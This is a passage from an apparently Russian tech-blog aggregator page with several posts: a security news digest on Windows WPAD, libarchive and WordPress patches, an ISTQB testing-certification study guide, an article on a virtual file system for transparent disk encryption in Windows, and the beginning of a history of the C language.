с плохим. Безопасность — это люди, их запрограммировать не получится, и гневным циркуляром проблему не решить. Но пробовать надо: не будучи алгоритмизируемым решением, тренинги дают вполне измеряемую эффективность. Неделя патчей: Windows, Wordpress, libarchive Обнаружение уязвимостей в софте и выпуск патчей — это такой регулярный элемент новостного фона по теме безопасности. Настолько привычный, что в список самых посещаемых такие новости выбиваются нечасто: в моем еженедельном сериале это происходит примерно раз в квартал. Вот и настал такой момент: на повестке дня сразу три важных патча. В Microsoft залатали уязвимость в протоколе Web Proxy Auto Discovery (новость, бюллетень MS). И Microsoft, и первооткрыватель, исследователь из китайской компании Tencent, много деталей не раскрывают. В схеме работы протокола обнаружили возможность отката к уязвимому «процессу обнаружения прокси-сервера», конкретно эксплуатируется «предсказуемость идентификаторов транзакций при работе с Netbios». В списке подверженных — все версии Windows, начиная с 7, но по факту дыра присутствует даже в Windows 95, и, естественно, в неподдерживаемой более XP. Возможно причиной малого количества деталей является универсальность атаки. По словам исследователя, эксплойт может прилететь и в виде URL в браузере, и в виде вредоносного офисного документа, и даже на флешке (например с помощью вредоносного шортката). Дальнейшее развитие атаки нельзя назвать простым делом, но в итоге появляется возможность перехвата трафика или подмены доверенных сетевых устройств. Исследователи из Cisco нашли три уязвимости в опенсорсной библиотеке libarchive (новость, исследование). В случае с открытым софтом важнее даже не характер уязвимости, а понимание — кто подвержен. В этом может помочь список зависимого софта на сайте библиотеки. Все три уязвимости могут эксплуатироваться с помощью подготовленного архива определенного формата, конкретно подвержены 7-Zip и RAR. Кроме того, теоретически можно эксплуатировать уязвимость, когда библиотека работает с данными mtree, штатной утилиты в FreeBSD. Все три уязвимости позволяют выполнять произвольный код. Наконец, очередной апдейт Wordpress до версии 4.5.3 закрывает 24 уязвимости (новость, анонс Wordpress). Большая часть уязвимостей позволяет получить контроль над веб-сайтом. Дополнительно были исправлены 17 багов — причем все относительно свежие, они были «добавлены» в последних трех релизах открытой CMS. Что еще произошло: Проект Let's Encrypt сообщает о выпуске пятимиллионного бесплатного сертификата HTTPS. Одновременно с этим выяснилось, что компания Comodo, продающая SSL за деньги, зачем-то пытается зарегистрировать на себя торговую марку Let's Encrypt в США. Фу таким быть. Индийскую рекламную фирму inMobi, зарабатывающую в том числе на баннерах в мобильных приложениях, оштрафовали в США на почти миллион долларов за отслеживание пользователей без их ведома. Рекламная сеть этой компании предположительно «накрывает» больше миллиарда устройств. Древности: «Tired-1740» Резидентный опасный вирус, стандартно записывается в COM-, EXE- и OVL-файлы при их загрузке в память для выполнения. Периодически расшифровывает и выводит на экран фразу: «I think you're too tired to the bone. You'd better go home», а затем перезагружает компьютер. Перехватывает int 21h. Цитата по книге «Компьютерные вирусы в MS-DOS» Евгения Касперского. 1992 год. Страницa 85. Disclaimer: Данная колонка отражает лишь частное мнение ее автора. Оно может совпадать с позицией компании «Лаборатория Касперского», а может и не совпадать. Тут уж как повезет.

Метки:  

[Из песочницы] Тестирование. Ошибки при сертификации или ISTQB мне очень нужен

Суббота, 25 Июня 2016 г. 17:54 + в цитатник
Статья полезна тем, кому небезразлична их квалификация и хочется стать лучше. Учиться никогда не поздно. Любой тестировщик рано или поздно задумывается о качестве не только в рабочем процессе, но и в отношении себя, качестве своего образования и способностей. В данный момент далеко не все вузы способны подготовить такого специалиста. Остаются всяческие курсы, как правило, дистанционные, чтобы была возможность поучиться у людей из этой же области, добившихся успеха. Но есть и ещё один способ самоутвердиться. Это сертификаты. Их много, перечислять, смысла нет. Но практически во всех областях они есть и их получение, скорее плюс, чем минус. Мне бы хотелось написать о ISTQB, т.н. International Software Testing Qualifications Board. Это признанная во всём мире сертификация для тестировщика. Если ты такое получил, то по идее владеешь базовыми знаниями и теорией, то есть и плюсик тебе на собеседованиях добыть можешь, и в общем самоутверждаешься. В статье я бы поговорила об ошибках. О глупых и не очень. О тех, которые я лично совершила в таком тесте или могла. И не хотела бы, чтобы кто-то тоже так попался. Исчерпывающее тестирование Хотелось бы для начала, чтобы запомнили следующее, “исчерпывающее тестирование невозможно, независимо от того, сколько усилий затрачено на тестирование (т.н. Принцип # 2)”. Этот принцип запомнить придется. Много ссылок на материалы для подготовки кидать не буду, одну приведу в конце статьи. Пункт, в котором засомневалась я, был “При достаточных усилиях и инструментальной поддержке исчерпывающее тестирование возможно для любого программного обеспечения". Первые мысли были о том, что терпение и труд всё перетрут. Это верно только для тривиальных ситуаций, в любой реальной системе предусмотреть все ситуации не сможем, остается только свести к минимуму количество проблем. Стадии и задачи Информация для запоминания. Основной процесс тестирования можно поделить на этапы, направления деятельности: Планирование (Этап 1) Анализ и проектирование (Этап 2) Внедрение и реализация (Этап 3) Оценка критериев выхода и создание отчетов (Этап 4) Действия по завершению тестов (Этап 5) Эти все этапы стоит знать. Они выделены не случайно, все имеют особенности. Но это не значит, что они не могут накладываться друг на друга или происходить одновременно в конкретной ситуации. Вопрос, с которым я столкнулась, по сути, был таким, какие задачи мы выполняем на этапе анализа и проектирования. Были разные варианты ответов. Определение целей тестирования Рецензирование базиса тестирования Создание тестовых наборов из тестовых процедур Анализ накопленного опыта для улучшения процесса Ухватившись за слово проектирование, я предположила, что именно на этом этапе проектируются все тест планы, поэтому создание процедур и тестовых наборов казалось отличным ответом. Как я была не права. Поэтому кратко рассмотрю все этапы, чтобы прочитав мою статью можно было не читать огромные мануалы. Специально пронумеровала этапы для ссылки на каждый. Итак, этап номер 1, планирование. На этом этапе самое важное определить цель тестирования и описать для себя (или лицу вышестоящему) задачи, которые эту цель помогут достичь. Тут и объём, и риски, и подходы, и люди. Этот этап так же включает ещё и управление тестированием. Мы не только план составили, но и на протяжении всего процесса следим, что он выполняется, задача за задачей. Таким образом, не только ставили задачи, но и занимаемся их мониторингом. На втором — мы анализируем и занимаемся проектом. Что в это входит? Как раз рецензирование базиса тестирования. В него входит требования на целостность проекта, отчет об анализе рисков, архитектура, дизайн, тех. требования к интерфейсу. На этом этапе, по сути, составляем отчеты о рисках, оцениваем характеристики, расставляем приоритеты, у проекта вырисовывается архитектура. Выбираем тестовое окружение и устанавливаем все инструменты. Как раз на третьем этапе даётся воля для написания тестовых сценариев, тут же выполняется вся самая ответственная работа для выполнения их в ручном или автоматическом режиме. Этап внедрения и реализации я бы хотела отнести к самым главным в жизни тестировщика, в нем без сомнения проведётся больше всего времени, больше всего будет найдено проблем, которые, как не прискорбно признавать, нас воодушевляют для дальнейшей работы. На четвертом этапе в основном занимаемся отчетом, оцениваем характеристики, какие можем, смотрим найденные баги, анализируем какие бы ещё тесты могли бы провести, всё это формируем в отчет для заинтересованных лиц. И наконец, пятый этап, это скорее набор опыта. Смотрим, какие результаты мы получили, какие цели смогли достичь, анализируем данные для будущих релизов и используем дальше. На этом этапе тоже не обойтись без документации, которую надо сделать детально, чтобы отдать на этап сопровождения. Тестирование в период сопровождения В чём была моя ошибка, я предположила, что на этом этапе можно заниматься разбором жалоб по системе во время приёмочных процедур. И эта основная задача. На самом деле, к тестированию в период сопровождения относится работа системы после изменения окружения. То есть к этому пункту относится влияние этих изменений на действующую систему или какие-то дополнительные модификации. Например, смена платформы. Что будет являться тестированием сопровождения? Все эксплуатационные тесты, тестирование изменений, стоит так же добавить в список планов регрессионное тестирование тех областей, которые при этом не были затронуты. При этом основная проблема — это границы области, которую стоит включить в тестирование. Если позволяет время и ресурсы, то стоит включить их все. Но на это времени хватает далеко не всегда. Поэтому для принятия решения придется оценить риск и соотношение размера системы к размеру внесенных изменений. Системное и компонентное тестирование Главное помнить, что компонентное тестирование обычно является ответственностью разработчиков, в то время как системное тестирование — типичная ответственность тестировщиков. При компонентном тестировании занимаемся всё тем же поиском дефектов, только в разных кусочках системы, насколько возможно систему на эти части поделить. Важно, чтобы каждую из таких частей можно было тестировать изолированно. Есть множество способов и подходов, но это слишком широкая тема, которая уведет от самой сути, от разницы между видами тестирования. Ещё одной особенностью компонентного тестирования является то, что оно включает не только тестирование функциональное, но и проверяются нефункциональные характеристики. Например, к таким относится тестирование поведения ресурсов, отслеживаются утечки памяти. Как правило, при компонентном тестировании доступен код. Противоположным тестированием является системное. Если в компонентном мы рассматривали каждую часть, как отдельную, то тут мы смотрим на систему, как на единый объект. При тестах применяем множество методов, и исследуем как функциональные, так и не функциональные требования. Тут уже подходят для исследования тестовые описания, варианты использования системы и прочие всевозможные способы поиска багов, но сама система рассматривается в виде “черного ящика” без доступа к коду. Формальное рецензирование и его шаги Когда для системы сформировано множество требований к коду, требований к входным данных, какие-то юридические моменты должны быть учтены, и прочее, и прочее, то как этап тестированию добавляется рецензирование. По сути есть список, что мы должны учесть для завершения каждого модуля в системе. Возможно, что в этом процессе придется прибегать к экспертам в нужной нам области. Основные фазы формального рецензирования — это планирование, старт, индивидуальная подготовка, изучение/оценка/запись результатов, повторная обработка, отслеживание. Этапы на самом-то деле все последовательные и логичные. Спланировали, какие критерии нужны, и выбрали людей, при запуске поделились со всем своими планами, подготовились индивидуально, учитывая все особенности и требования именно этой системы. Далее получили результаты, которые показали нашим экспертам, и все проблемы, что всплывали, поправили. И дальше следим, чтобы нигде ничего не нарушалось. Заключение Данный материал не создан, чтобы решить все вопросы, связанные с предстоящей сертификацией. Надеюсь, хотя бы то немногое, что я успела осветить, уложится в голове наверняка. Если хоть в какой-то мере статья была полезна, то могу продолжить разбор самых, на мой взгляд, неочевидных ошибок, которых было просто избежать. Всегда готова к конструктивной критике. Если возникнут вопросы или в моих утверждениях найдется предмет для дискуссии, будет повод лишний раз вернуться к теории. Полезные ссылки Материалы для подготовки Хорошая статья о тестировании от Натальи Руколь

Метки:  

«Разрубить Гордиев узел» или преодоление проблем шифрования информации в ОС Windows

Суббота, 25 Июня 2016 г. 14:45 + в цитатник
Современная операционная система это сложный иерархичный процесс обработки и управления информацией. Актуальные версии ОС Windows в этом вопросе не являются исключением. Для того, чтобы интегрировать средство защиты в среду ОС Windows, зачастую хватает встраивания на прикладном уровне. Однако, если речь заходит о шифровании информации в среде ОС Windows, все становится намного сложнее. Основной «головной болью» разработчика средств шифрования в этом процессе является обеспечение «прозрачности шифрования», т.е. необходимо гармонично встроиться в структуру процессов операционной системы и при этом обеспечить невовлечение пользователей в процесс шифрования и уж тем более его обслуживание. Требования к современным средствам защиты все больше и больше исключают пользователя из процесса защиты информации. Таким образом, для этого самого пользователя создаются комфортные условия, не требующие принятия «непонятных» решений по защите информации. В данной статье будут раскрыты идеи эффективной интеграции средства шифрования информации на диске с процессами файловой системы ОС Windows. Перед разработчиками ставилась цель создать механизм шифрования информации на диске, отвечающий требованиям максимальной прозрачности для пользователей. Требования должны будут выполняться за счет эффективного взаимодействия этого механизма шифрования с процессами операционной системы Windows, которые отвечают за управление файловой системой. Эффективность механизма шифрования должна также подтверждаться высокой производительностью процессов шифрования и рациональным использованием ресурсов операционной системы. Изначально была поставлена задача предоставлять одновременный доступ к зашифрованному и расшифрованному содержимому, а также шифровать имена файлов. Это и порождает основные сложности, т.к. такое требование идет в разрез со сложившейся архитектурой Windows. Чтобы понять суть проблемы, для начала нам следует разобрать некоторые основные моменты данной операционной системы. В Windows все файловые системы полагаются на такие подсистемы, как менеджер памяти и кэш менеджер, а менеджер памяти, в свою очередь, полагается на файловые системы. Казалось бы, замкнутый круг, но все станет ясно дальше. Ниже, на рисунке 1, изображены перечисленные компоненты, а также менеджер ввода/вывода, который принимает запросы от подсистем (например Win32) и от других драйверов системы. Также на рисунке используются термины «фильтр» и «стек файловой системы», о чем подробнее будет рассказано ниже. Рисунок 1 Разберем такой механизм, как отображение файла на память. Суть его заключается в том, что при доступе к виртуальной памяти в реальности читается часть файла. Реализуется это при помощи аппаратных механизмов процессоров и непосредственно самого менеджера памяти. Любые диапазоны виртуальной памяти процесса описываются дескрипторами. Если для какого-то диапазона нет дескриптора, значит, на этом участке виртуальной памяти ничего нет, и доступ к такому диапазону неизбежно ведет к краху процесса. В случае, если для какого-либо диапазона закреплена физическая память, доступ к этим виртуальным адресам ведет к обычному доступу к физической памяти, такую память еще называют анонимной. В случае, если файл отображен на виртуальную память, то при доступе по этим адресам считывается часть файла с диска в физическую память, после чего доступ к ней будет выполняться обычным образом. Т.е. эти два случая очень похожи, разница лишь в том, что для последнего в соответствующую физическую память предварительно будет считана часть файла. Обо всех таких типах доступов дескриптор и содержит информацию. Эти дескрипторы являются структурами менеджера памяти, которыми он управляет для того, чтобы выполнять требуемые задачи. Как не трудно догадаться, для того, чтобы считать часть файла в страницу физической памяти, менеджер памяти должен послать запрос файловой системе. На рисунке 2 изображен пример виртуальной памяти процесса с двумя диапазонами, А и В, доступ к которым еще ни разу не выполнялся. Рисунок 2 На диапазон А отображен исполняемый файл самого процесса, а на диапазон В отображена физическая память. Теперь, когда процесс выполнит первый доступ к диапазону А, управление получит менеджер памяти и первое, что он сделает — оценит тип диапазона. Поскольку на диапазон А отображен файл, менеджер памяти сначала считает из файла соответствующую его часть в физическую память, после чего отобразит ее на диапазон А процесса, таким образом дальнейший доступ к считанному содержимому будет выполняться уже без менеджера памяти. Для диапазона В менеджер памяти выполнит такую же последовательность, единственная разница в том, что вместо считываний данных из файла он просто отобразит свободные физические страницы памяти на диапазон В, после чего доступ к этому диапазону будет выполняться уже без участия менеджера памяти. На рисунке 3 изображен пример виртуальной памяти процесса после первого доступа к диапазонам А и В. Рисунок 3 Как видно из рисунка, при доступе к обоим диапазонам доступ к физической памяти выполняется без участия менеджера памяти, т.к. ранее при первом доступе он отобразил на диапазоны А и В физическую память, а в физическую память диапазона А предварительно считал часть соответствующего файла. Кэш менеджер является центральным механизмом для всех открытых файлов в системе на всех дисках. Использование этого механизма позволяет не только ускорять доступ к файлам, но и экономить физическую память. Кэш менеджер не работает сам по себе, в отличие от менеджера памяти. Он полностью управляется файловыми системами, и вся необходимая информация о файлах (например, размер) предоставляется ими. Всякий раз, когда к файловой системе приходит запрос на чтение/запись, файловая система не читает файл с диска, вместо этого она вызывает сервисы кэш менеджера. Кэш менеджер, в свою очередь, пользуясь сервисами менеджера памяти, отображает файл на виртуальную память и копирует его из памяти в буфер запросчика. Соответственно, при доступе к этой памяти менеджер памяти пошлет запрос файловой системе. И это будет особый запрос, который будет говорить, что файл надо считать непосредственно с диска. Если выполняется доступ к файлу, который ранее уже был отображен кэш менеджером, то повторно отображен на виртуальную память он не будет. Вместо этого кэш менеджер будет использовать виртуальную память, куда файл был отображен ранее. Отображение файла отслеживается посредством структур, которые файловые системы передают кэш менеджеру при вызове его сервисов. Об этих структурах немного подробнее будет рассказано ниже. На рисунке 4 приведен пример чтения файла процессом. Рисунок 4 Как показано на рисунке выше, процесс выполняет чтение файла в буфер В. Чтобы выполнить чтение, процесс обращается к менеджеру ввода/вывода, который формирует и посылает запрос файловой системе. Файловая система, получив запрос, не считывает файл с диска, а вызывает кэш менеджер. Далее кэш менеджер оценивает, отображен ли файл на его виртуальную память, и если нет, то он вызывает менеджер памяти для того чтобы отобразить файл/часть файла. В данном примере файл уже отображен, а доступ к нему ни разу не выполнялся. Далее кэш менеджер копирует в буфер В процесса файл, отображенный на диапазон виртуальной памяти А. Поскольку доступ к диапазону А выполняется первый раз, управление получит менеджер памяти, затем он оценит диапазон, и, поскольку это отображенный на память файл, считает его часть в физическую память, после чего отобразит ее на диапазон виртуальной памяти А. После этого, как уже было описано ранее, доступ к диапазону А будет выполняться, минуя менеджер памяти. Ничто не мешает одновременно кэшировать файл и отображать его на память сколько угодно раз. Даже если файл будет закэширован и отображен на память десятков процессов, физическая память, которая используется для этого файла, будет одна и та же. В этом и заключается суть экономии физической памяти. На рисунке 5 приведен пример, где один процесс читает файл обычным образом, а другой процесс отображает этот же файл на свою виртуальную память. Рисунок 5 Как видно из рисунка выше, физическая память отображается на виртуальную память процесса В и виртуальную память кэш менеджера. Когда процесс А будет выполнять чтение файла в буфер D, он обратится к менеджеру ввода/вывода, который сформирует и пошлет запрос файловой системе. Файловая система, в свою очередь, обратится к кэш менеджеру, который просто скопирует файл, отображенный на диапазон виртуальной памяти С кэш менеджера, в буфер D процесса А. Поскольку в момент обращения к кэш менеджеру файл уже был не только отображен, но и ранее выполнялся доступ к диапазону С, на которую отображен файл, то операция будет выполнена без участия менеджера памяти. Процесс В при чтении/записи диапазона Е по сути получит доступ к тем же самым физическим страницам памяти, к котором при копировании файла получал доступ кэш менеджер. Файловые системы принимают запросы от пользовательского ПО или других драйверов. Перед доступом файл должен быть открыт. В случае успешного выполнения запросов открытия/создания файлов файловая система сформирует структуры памяти, которые используются кэш менеджером и менеджером памяти. Также следует отметить, что эти структуры уникальны для файла. Т.е. если конкретный файл диска был открыт на тот момент, когда пришел такой же запрос на этот же файл, файловая система будет использовать ранее сформированные структуры памяти. По сути, они являются программным представлением файла диска в памяти. На рисунке 6 приведен пример соответствия открытых экземпляров файлов и их структур. Рисунок 6 На рисунке процесс А открыл файл С и файл D, а процесс B открыл файл С два раза. Таким образом, имеется три открытых экземпляра файла С, когда структура, сформированная файловой системой, всего одна. Файл D был открыт один раз, следовательно, имеется один открытый экземпляр, которому соответствует структура, сформированная файловой системой. Любые запросы, направленные к файловой системе, не сразу обрабатываются ею. Запросы сначала проходят по цепочке драйверов, которые желают отслеживать такие запросы. Такие драйвера называют фильтрами. Они имеют возможность просматривать запросы до того, как они достигнут файловой системы, а также после того, как файловая система обработает их. Например, фильтр шифрования файлов может отслеживать запросы чтения/записи для того, чтобы расшифровать/зашифровать данные. Таким образом, не дорабатывая сами файловые системы, мы можем зашифровать данные файла. Фильтры могут привязывать свои уникальные данные к структурам файлов, которые формирует файловая система. Вместе драйвера фильтров и драйвер файловой системы формируют стек файловой системы. Количество фильтров может быть разным, также могут быть разными и сами фильтры. Теоретически их может и не быть совсем, но практически так не бывает. На рисунке 7 изображен стек файловой системы, в состав которого входят три фильтра. Рисунок 7 До того, как запрос достигнет файловой системы, он проходит последовательно через фильтры 1, 2 и 3. Когда запрос будет обработан файловой системой, то фильтрами он виден в обратном порядке, т.е. запрос проходит последовательно через фильтры 3, 2 и 1. Также, на примере выше фильтр 1 и фильтр 3 привязали свои структуры к структуре файла, которую сформировала файловая система после выполнения запроса открывания/создания файла. Подавляющее большинство задач решается посредством фильтрации, но наш случай уникален. Как было ранее отмечено, уникален он тем, что нужно предоставлять одновременный доступ к зашифрованному и расшифрованному содержимому, а также шифровать имена файлов. Тем не менее, мы попытаемся разработать фильтр, который позволит решить такую задачу. На рисунке 8 изображена ситуация, когда файл ранее был открыт расшифрованным. Рисунок 8 Это значит, что фильтры видели расшифрованное имя, и они, как это изображено на рисунке, могут привязать это имя к структуре, которую сформирует файловая система (как было ранее сказано, эта структура уникальна для конкретного файла диска) для дальнейших манипуляций с файлом. И в этот момент файл открывается зашифрованным, что означает, что фильтры видели зашифрованное имя. Как они поведут себя в такой ситуации, когда к структуре файла уже привязано расшифрованное имя? Очевидно, что поведение не предсказуемо, хотя и не обязательно, что последствия будут фатальными. В продолжение описанного выше можно добавить, что при доступе к содержимому файла также возникают проблемы, и гораздо более серьезные. Вернемся к ситуации, когда файл был открыт одновременно расшифрованным и зашифрованным. Эта ситуация изображена на рисунке 9, чтение/запись файла еще ни разу не выполнялись. Рисунок 9 Теперь представим себе, что пришел запрос на чтение расшифрованного содержимого. Файловая система воспользуется услугами кэш менеджера и передаст ему структуру файла, к которой и кэш менеджер, и менеджер памяти привяжут свои уникальные данные для дальнейшего управления отображением и кэшированием файла. Эта ситуация изображена на рисунке 10. Рисунок 10 Далее приходит запрос на чтение зашифрованного содержимого, и файловая система снова передает структуру файла кэш менеджеру, а поскольку кэш менеджер и менеджер памяти ранее к этой структуре привязали уникальные данные для этого файла, они просто воспользуются ими для выполнения запроса. Т.е. теперь в этих структурах будет указано, куда был отображен файл, и кэш менеджер просто скопирует данные файла из виртуальной памяти в буфер запросчика. Мы помним, что файл при первом доступе к нему был закэширован расшифрованным, таким образом при зашифрованном доступе в буфере запросчика окажутся расшифрованные данные. Мы только что разобрали две фундаментальные проблемы. На практике их было больше. Например, в рамках поставленной задачи к каждому зашифрованному файлу необходимо добавлять заголовочную информацию, что тоже не решается посредством фильтрации. Чтобы обойти все эти проблемы разом, было найдено решение — виртуальная файловая система. Виртуальная файловая система, по своей сути, мало чем отличается от обычной. Радикальное отличие состоит в том, что обычная файловая система работает с диском, а виртуальная работает с файлами других файловых систем, т.е. является обычным потребителем сервисов файловых систем. На рисунке 11 изображена концепция виртуальной файловой системы. Рисунок 11 В отличие от обычных файловых систем, виртуальная файловая система не регистрирует себя в системе (об этом не было сказано выше, но для того чтобы операционная система могла пользоваться сервисами конкретной файловой системы, она должна зарегистрироваться), а раз так, то запросы к ней направляться не будут. Чтобы решить эту проблему, мы используем фильтр для обычной файловой системы, но на этот раз его функции будут очень простыми и ограниченными, одна из них (и главная) — это отслеживание доступа к зашифрованным файлам. Как только фильтр увидит такой запрос, он просто перенаправит его к виртуальной файловой системе. Если же будет выполняться доступ к обычному файлу, запрос будет передан оригинальной файловой системе. Теперь давайте еще раз разберем расшифрованный и зашифрованный доступы, но уже в контексте виртуальной файловой системы. На рисунке 12 приведен пример, когда выполнялся доступ к расшифрованному и зашифрованному содержимому конкретного файла. Рисунок 12 Еще раз представим ситуацию, когда файл был открыт расшифрованным. Это значит, что в процессе выполнения запроса открывания файла, наш фильтр увидел его и перенаправил на виртуальную файловую систему. Виртуальная файловая система, получив запрос, оценивает тип доступа (расшифрованный или зашифрованный), и поскольку выполняется расшифрованный доступ, виртуальная файловая система сначала преобразует расшифрованное имя в зашифрованное, а после попытается открыть файл через родную файловую систему по этому имени (т.е. имя файла на родной файловой системе будет зашифрованным). В случае успеха виртуальная файловая система сформирует структуры памяти, которые позже будут использовать кэш менеджер и менеджер памяти. Теперь представим себе, что файл открывается зашифрованным, фильтр снова перенаправляет запрос виртуальной файловой системе, не делая никаких оценок. Виртуальная файловая система оценивает тип доступа, а поскольку доступ зашифрованный, она просто попытается открыть файл через родную файловую систему по этому имени. И опять, в случае успеха, виртуальная файловая система сформирует структуры памяти для кэш менеджера и менеджера памяти. Но в отличие от расшифрованного доступа, это будут уже другие структуры. Теперь, если файл снова будет открыт расшифрованным, виртуальная файловая система использует те же структуры, которые сформировала при первом расшифрованном доступе. В случае если файл снова будет открываться зашифрованным, файловая система использует структуры, которые сформировала при первом зашифрованном доступе. Таким образом, мы разделили доступ к расшифрованному и зашифрованному содержимому. На рисунке 13 изображена ситуация, когда доступ на чтение/запись к расшифрованному и зашифрованному содержимому файла ни разу не выполнялся. Рисунок 13 Теперь если будет выполняться расшифрованное чтение, виртуальная файловая система, пользуясь сервисами кэш менеджера, как показано на рисунке 14, передаст ему структуры памяти, которые она вернула при открывании файла расшифрованным. Рисунок 14 Кэш менеджер отобразит файл на виртуальную память и скопирует данные в буфер запросчика. Соответственно, в процессе копирования менеджер памяти пошлет запрос на чтение виртуальной файловой системе, которая в свою очередь пошлет запрос на чтение родной файловой системе, а поскольку кэш менеджеру были переданы структуры памяти для расшифрованного файла, виртуальная файловая система расшифрует данные и сообщит о завершении менеджеру памяти, так закэшируется расшифрованное содержимое. В случае если будет выполняться зашифрованное чтение, виртуальная файловая система передаст, как изображено на рисунке 15, кэш менеджеру структуры памяти, которые она сформировала при открывании файла зашифрованным. Рисунок 15 Кэш менеджер снова отобразит файл на виртуальную память (поскольку в этих структурах файл еще не отображался) и скопирует данные в буфер запросчика. И опять в процессе копирования менеджер памяти пошлет запрос на чтение виртуальной файловой системе, которая снова пошлет запрос на чтение родной файловой системе, а поскольку кэш менеджеру были переданы структуры памяти для зашифрованного файла, то, не расшифровывая данных, виртуальная файловая система сообщит менеджеру памяти о завершении. Так файл закэшируется зашифрованным. Как мы видим, виртуальная файловая система решает фундаментальные проблемы, не позволяющие иметь одновременный доступ к расшифрованному и зашифрованному содержимому файла, из-за чего приходится отказываться от классических механизмов операционной системы. В процессе фильтрации мы можем только добавлять данные к структурам памяти файлов, которые возвращает файловая система, и, поскольку мы не формируем эти структуры, мы не можем вмешиваться в них и управлять ими. А посредством виртуальной файловой системы мы их полностью формируем, и, следовательно, имеем полный контроль над ними, что необходимо в рамках решения данной задачи. Например, нам нужно обеспечивать согласованность расшифрованного и зашифрованного содержимых файлов. Представьте себе ситуацию, когда были записаны данные в расшифрованный файл и данные находятся еще в кэше, а не на диске. И в этот момент приходит запрос на чтение зашифрованного содержимого файла. В ответ на это виртуальная файловая система выгрузит расшифрованное содержимое на диск и сбросит зашифрованный кэш, что заставит кэш менеджер заново послать запрос на чтение виртуальной файловой системе для зашифрованного чтения. В рамках фильтрации подобная задача не решается в принципе. При разработке виртуальной файловой системы приходилось сталкиваться с необычными проблемами. Отчасти это вызвано тем, что мы работаем с файлами файловых систем, когда обычные файловые системы работают с диском. Так, например, была найдена ошибка в файловой системе NTFS. Проявлялась она в том, что доступ к файлу X:\$mft\<любое имя> приводил к повисанию всего доступа к диску X. В результате исследования было установлено, что NTFS не освобождала механизмы синхронизации для файла $mft, который является перечислителем всех файлов диска. И соответственно, чтобы найти какой-либо файл на диске, сначала нужно прочитать $mft файл, доступ к которому повис. Другой пример, который нельзя назвать необычным, это найденная ошибка в ядре Windows 8, в результате которой менеджер памяти полагает, что структуры памяти файла всегда последней версии. Из-за этого он пытается использовать некоторые части этой структуры, которых в действительности может не быть. И это приводило к BSOD. Реализация виртуальной файловой системы значительно сложнее реализации фильтра, но наличие такого механизма дает большую гибкость при манипуляциях с файлами. В том числе такую, о которой мы только что говорили. Хотя, на первый взгляд, может показаться, что задача тривиальна. В результате применения данного подхода к шифрованию были успешно реализованы функции предоставления одновременного доступа программных процессов к зашифрованному и расшифрованному содержимому, а также реализовано шифрование имен файлов, что позволяет обеспечить высокую степень прозрачности при реализации криптографической защиты информации. Надо отметить, что данный подход по обеспечению «прозрачности» шифрования файлов в ОС Windows успешно реализован в корпоративном продукте Secret Disk Enterprise («Аладдин Р.Д.»), который применяется многими организациями в России. Это в свою очередь доказывает жизнеспособность и перспективность применения данной идеи в процессе создания программ шифрования файлов на диске. В качестве заключения стоит отметить, что технологическая сложность файловой системы ОС Windows и отсутствие стандартных механизмов решения задач, подобных описываемой в данной статье, будут всегда являться препятствием создания удобных и простых программ, обеспечивающих защиту информации. В таком случае единственным верным решением является самостоятельная реализация оригинального механизма, позволяющего обойти данные ограничения без потери функциональности ПО.
Как изменились карьерные лестницы и лифты в IT-индустрии за прошедшую неделю

Метки:  

История языка Си: 100% «чистый» Си, без единого «плюса»

Пятница, 24 Июня 2016 г. 19:59 + в цитатник
Популярность языка программирования Си трудно переоценить, особенно вспоминая его былые заслуги. Наверное, каждый разработчик, как минимум, знает о его существовании, и, как максимум, пробовал на нем программировать. Си является предшественником таких языков, как C++, Objective-C, C#, Java. Компания Microsoft для разработки родного языка к своей платформе .Net выбрала именно Си-подобный синтаксис. Более того, на Си написано множество операционных систем. Конечно, Си не идеален: создатели языка – Кен Томпсон и Деннис Ритчи – долгое время дорабатывали его. Стандартизация Си продолжается до сих пор. Он существует более 45 лет и активно используется. С ним часто ассоциируют не один, а два языка программирования — C/C++. Однако ниже речь пойдет именно о «чистом» Си. Язык Си восходит корнями к языку ALGOL (расшифровывается как ALGorithmic Language), который был создан в 1958 году совместно с комитетом Европейских и Американских учёных в сфере компьютерных наук на встрече в Швейцарской высшей технической школе Цюриха. Язык был ответом на некоторые недостатки языка FORTRAN и попыткой их исправить. Кроме того, разработка Си тесно связана с созданием операционной системы UNIX, над которой также работали Кен Томпсон и Деннис Ритчи. UNIX Проект МАС (Multiple Access Computer, Machine-Aided Cognition, Man and Computer) начался как чисто исследовательский в MIT в 1963 году. В рамках проекта МАС была разработана операционная система CTSS (Compatible Time-Sharing System). Во второй половине 60-х было создано несколько других систем с разделением времени, например, BBN, DTSS, JOSS, SDC и Multiplexed Information and Computing Service (MULTICS) в том числе. Multics – совместная разработка MIT, Bell Telephone Laboratories (BTL) и General Electric (GE) по созданию ОС с разделением времени для компьютера GE-645. Последний компьютер под управлением Multics выключили 31 октября 2000 года. Однако BTL отошел от этого проекта еще в начале 1969 года. Некоторые его сотрудники (Кен Томпсон, Деннис Ритчи, Стью Фельдман, Дуг МакИлрой, Боб Моррис, Джо Оссанна) захотели продолжить работу самостоятельно. Томпсон работал над игрой Space Travel на GE-635. Ее написали сначала для Multics, а потом переписали на Фортране под GECOS на GE-635. Игра моделировала тела Солнечной системы, а игроку надо было посадить корабль куда-нибудь на планету или спутник. Ни софт, ни железо этого компьютера не годились для такой игры. Томпсон искал альтернативу, и переписал игру под бесхозный PDP-7. Память была объемом 8К 18-битных слов, и еще был процессор векторного дисплея для вывода красивой для того времени графики. Изображение с сайта slideshare.net Томпсон и Ритчи полностью вели разработку на кросс-ассемблере на GE и переносили код на перфолентах. Томпсону это активно не нравилось, и он начал писать ОС для PDP-7, начиная с файловой системы. Так появилась UNIX. Томпсон хотел создать комфортабельное вычислительное окружение, сконструированное в соответствии с его дизайном, используя любые доступные средства. Его замыслы, что очевидно оглядываясь назад, вбирали в себя многие инновации Multics, включая понятие процесса как основы управления, древовидную файловую систему, интерпретатор команд в качестве пользовательской программы, упрощённое представление текстовых файлов и обобщённый доступ к устройствам. PDP-7 UNIX также положил начало высокоуровневому языку B, который создавался под влиянием языка BCPL. Деннис Ритчи сказал, что В — это Си без типов. BCPL помещался в 8 Кб памяти и был тщательно переработан Томпсоном. В постепенно вырос в С. Изображение с сайта it-world.com К 1973 году язык Си стал достаточно силён, и большая часть ядра UNIX, первоначально написанная на ассемблере PDP-11/20, была переписана на Си. Это было одно из самых первых ядер операционных систем, написанное на языке, отличном от ассемблера. Получается, что Си – это «сопутствующий продукт», полученный во время создания операционной системы UNIX. Прародители Си Вдохновлённые языком ALGOL-60, Математическая лаборатория Кембриджского Университета совместно с Компьютерным отделом Лондонского университета создали в 1963 году язык CPL 